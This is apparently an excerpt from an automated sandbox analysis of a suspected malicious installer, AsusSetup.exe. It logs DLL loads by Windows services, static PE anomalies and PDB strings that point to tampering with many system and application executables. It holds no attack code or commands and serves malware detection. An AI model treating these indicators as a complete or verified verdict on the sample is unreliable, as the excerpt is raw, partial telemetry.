Source: C:\Windows\System32\alg.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: appvpolicy.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Section loaded: appmanagementconfiguration.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: tapi32.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: fxstiff.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: fxsresm.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: ualapi.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Windows\System32\AppVClient.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{52BC3999-6E52-4E8A-87C4-0A2A0CC359B1}\InProcServer32

Jump to behavior

Source: AsusSetup.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: AsusSetup.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: AsusSetup.exe

Static file information: File size 5251072 > 1048576

Source: AsusSetup.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x203c00
Source: AsusSetup.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x18d000

Source: AsusSetup.exe

Static PE information: More than 200 imports for USER32.dll

Source: AsusSetup.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb77.GCTL source: alg.exe, 00000003.00000003.2441312172.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: AsusSetup.exe, 00000000.00000003.2150436994.0000000003080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdb source: alg.exe, 00000003.00000003.2497425619.0000000001450000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2490830927.0000000001540000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2489526924.0000000001530000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\ktab_objs\ktab.pdb source: ktab.exe.3.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb source: alg.exe, 00000003.00000003.2246078357.0000000001610000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb444 source: alg.exe, 00000003.00000003.2331276660.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb source: alg.exe, 00000003.00000003.2331276660.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdb source: alg.exe, 00000003.00000003.2344856295.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdb source: AsusSetup.exe, 00000000.00000003.2178500050.0000000002B00000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2204155544.00000000016B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdbGCTL source: alg.exe, 00000003.00000003.2526934752.00000000016C0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2530818713.00000000016C0000.00000004.00001000.00020000.00000000.sdmp, MavInject32.exe.3.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\licensing\x-none\ospprearm.pdb source: OSPPREARM.EXE.3.dr
Source:	Binary string: MicrosoftEdgeUpdateBroker_unsigned.pdb source: MicrosoftEdgeUpdateBroker.exe.3.dr
Source:	Binary string: D:\GitSourceCode\AsTaskSched\Release\AsTaskSched.pdb source: AsusSetup.exe
Source:	Binary string: crashreporter.pdb source: alg.exe, 00000003.00000003.2690809228.0000000001560000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: plugin-container.pdb source: alg.exe, 00000003.00000003.2861757838.00000000004C0000.00000004.00001000.00020000.00000000.sdmp, plugin-container.exe.3.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdb source: alg.exe, 00000003.00000003.2307813796.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: F:\SourceCodeTB\SCD_AutoRunSource\AsusSetup\x64\Release\AsusSetup.pdb source: AsusSetup.exe
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdbAAAGCTL source: alg.exe, 00000003.00000003.2437526500.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdb source: alg.exe, 00000003.00000003.2517356706.00000000016C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb source: alg.exe, 00000003.00000003.2451910893.0000000001450000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2446761118.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: GoogleUpdateOnDemand_unsigned.pdb source: GoogleUpdateOnDemand.exe.3.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb888 source: alg.exe, 00000003.00000003.2366770450.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\GitSourceCode\AsTaskSched\x64\Release\AsTaskSched.pdb source: AsusSetup.exe
Source:	Binary string: Acrobat_SL.pdb((( source: alg.exe, 00000003.00000003.2253031986.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: pingsender.pdb source: alg.exe, 00000003.00000003.2834736372.0000000001450000.00000004.00001000.00020000.00000000.sdmp, pingsender.exe.3.dr
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdbGCTL source: AsusSetup.exe, 00000000.00000003.2170806600.0000000002B40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdbCC9 source: alg.exe, 00000003.00000003.2344856295.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdb source: alg.exe, 00000003.00000003.2260700730.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Acrobat_SL.pdb source: alg.exe, 00000003.00000003.2253031986.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: private_browsing.pdb source: alg.exe, 00000003.00000003.2881778104.0000000000470000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdbU source: alg.exe, 00000003.00000003.2497425619.0000000001450000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2490830927.0000000001540000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2489526924.0000000001530000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdbT source: alg.exe, 00000003.00000003.2307813796.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdbGG source: alg.exe, 00000003.00000003.2380164583.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb))) source: alg.exe, 00000003.00000003.2246078357.0000000001610000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdb source: alg.exe, 00000003.00000003.2526934752.00000000016C0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2530818713.00000000016C0000.00000004.00001000.00020000.00000000.sdmp, MavInject32.exe.3.dr
Source:	Binary string: msdtcexe.pdbGCTL source: AsusSetup.exe, 00000000.00000003.2202176160.0000000002B40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb source: AsusSetup.exe, 00000000.00000003.2191928065.0000000002B40000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2772620436.0000000001470000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 64BitMAPIBroker.pdb source: alg.exe, 00000003.00000003.2419515500.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdbY source: alg.exe, 00000003.00000003.2517356706.00000000016C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: firefox.pdb source: alg.exe, 00000003.00000003.2757514944.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\jenkins\workspace\NGL_WORKFLOW\build\master\win64\Release\Acrobat\project\win\ngl-workflow\x64\Release (Acrobat)\adobe_licensing_wf_helper_acro.pdb source: alg.exe, 00000003.00000003.2407189666.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb source: alg.exe, 00000003.00000003.2366770450.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: firefox.pdbP source: alg.exe, 00000003.00000003.2757514944.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\b\s\w\ir\cache\builder\src\out\Release_x64\setup.exe.pdb source: setup.exe1.3.dr
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb@@ source: alg.exe, 00000003.00000003.2411283042.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb source: alg.exe, 00000003.00000003.2441312172.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: private_browsing.pdbp source: alg.exe, 00000003.00000003.2881778104.0000000000470000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdb source: alg.exe, 00000003.00000003.2380164583.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\ktab_objs\ktab.pdb source: ktab.exe.3.dr
Source:	Binary string: C:\b\s\w\ir\cache\builder\src\out\Release_x64\chrome_pwa_launcher.exe.pdb source: chrome_pwa_launcher.exe.3.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdb source: alg.exe, 00000003.00000003.2437526500.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb` source: AsusSetup.exe, 00000000.00000003.2191928065.0000000002B40000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2772620436.0000000001470000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb$$ source: alg.exe, 00000003.00000003.2451910893.0000000001450000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2446761118.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb source: alg.exe, 00000003.00000003.2385765536.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdb source: AsusSetup.exe, 00000000.00000003.2154306275.0000000002B00000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: minidump-analyzer.pdb source: alg.exe, 00000003.00000003.2814896754.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\b\s\w\ir\cache\builder\src\out\Release_x64\chrome_proxy.exe.pdb source: alg.exe, 00000003.00000003.2678114905.0000000001490000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msdtcexe.pdb source: AsusSetup.exe, 00000000.00000003.2202176160.0000000002B40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\licensing\x-none\ospprearm.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: OSPPREARM.EXE.3.dr
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdb source: AsusSetup.exe, 00000000.00000003.2170806600.0000000002B40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdbGCTL source: AsusSetup.exe, 00000000.00000003.2154306275.0000000002B00000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: AsusSetup.exe, 00000000.00000003.2178500050.0000000002B00000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2204155544.00000000016B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdbTTT source: alg.exe, 00000003.00000003.2260700730.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: default-browser-agent.pdb source: alg.exe, 00000003.00000003.2739562117.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: updater.pdb source: alg.exe, 00000003.00000003.2917096647.00000000004A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdb source: alg.exe, 00000003.00000003.2513914889.00000000016C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb source: alg.exe, 00000003.00000003.2411283042.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\javaw_objs\javaw.pdb source: javaw.exe.3.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb888 source: alg.exe, 00000003.00000003.2385765536.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdbGCTL source: alg.exe, 00000003.00000003.2513914889.00000000016C0000.00000004.00001000.00020000.00000000.sdmp

Source: alg.exe.0.dr

Static PE information: 0xF67E8745 [Tue Jan 18 10:28:21 2101 UTC]

Source: msdtc.exe.0.dr

Static PE information: real checksum: 0x2f054 should be: 0x16b97b

Source: armsvc.exe.0.dr	Static PE information: section name: .didat
Source: alg.exe.0.dr	Static PE information: section name: .didat
Source: FXSSVC.exe.0.dr	Static PE information: section name: .didat
Source: elevation_service.exe.0.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe.0.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe.0.dr	Static PE information: section name: .retplne
Source: elevation_service.exe.0.dr	Static PE information: section name: _RDATA
Source: elevation_service.exe.0.dr	Static PE information: section name: malloc_h
Source: elevation_service.exe0.0.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe0.0.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe0.0.dr	Static PE information: section name: .retplne
Source: elevation_service.exe0.0.dr	Static PE information: section name: _RDATA
Source: elevation_service.exe0.0.dr	Static PE information: section name: malloc_h
Source: maintenanceservice.exe.0.dr	Static PE information: section name: .00cfg
Source: maintenanceservice.exe.0.dr	Static PE information: section name: .voltbl
Source: maintenanceservice.exe.0.dr	Static PE information: section name: _RDATA
Source: msdtc.exe.0.dr	Static PE information: section name: .didat
Source: GoogleCrashHandler64.exe.3.dr	Static PE information: section name: _RDATA
Source: GoogleCrashHandler64.exe.3.dr	Static PE information: section name: .gxfg
Source: GoogleCrashHandler64.exe.3.dr	Static PE information: section name: .gehcont
Source: unpack200.exe.3.dr	Static PE information: section name: .00cfg
Source: ie_to_edge_stub.exe.3.dr	Static PE information: section name: .00cfg
Source: ie_to_edge_stub.exe.3.dr	Static PE information: section name: .gxfg
Source: ie_to_edge_stub.exe.3.dr	Static PE information: section name: .retplne
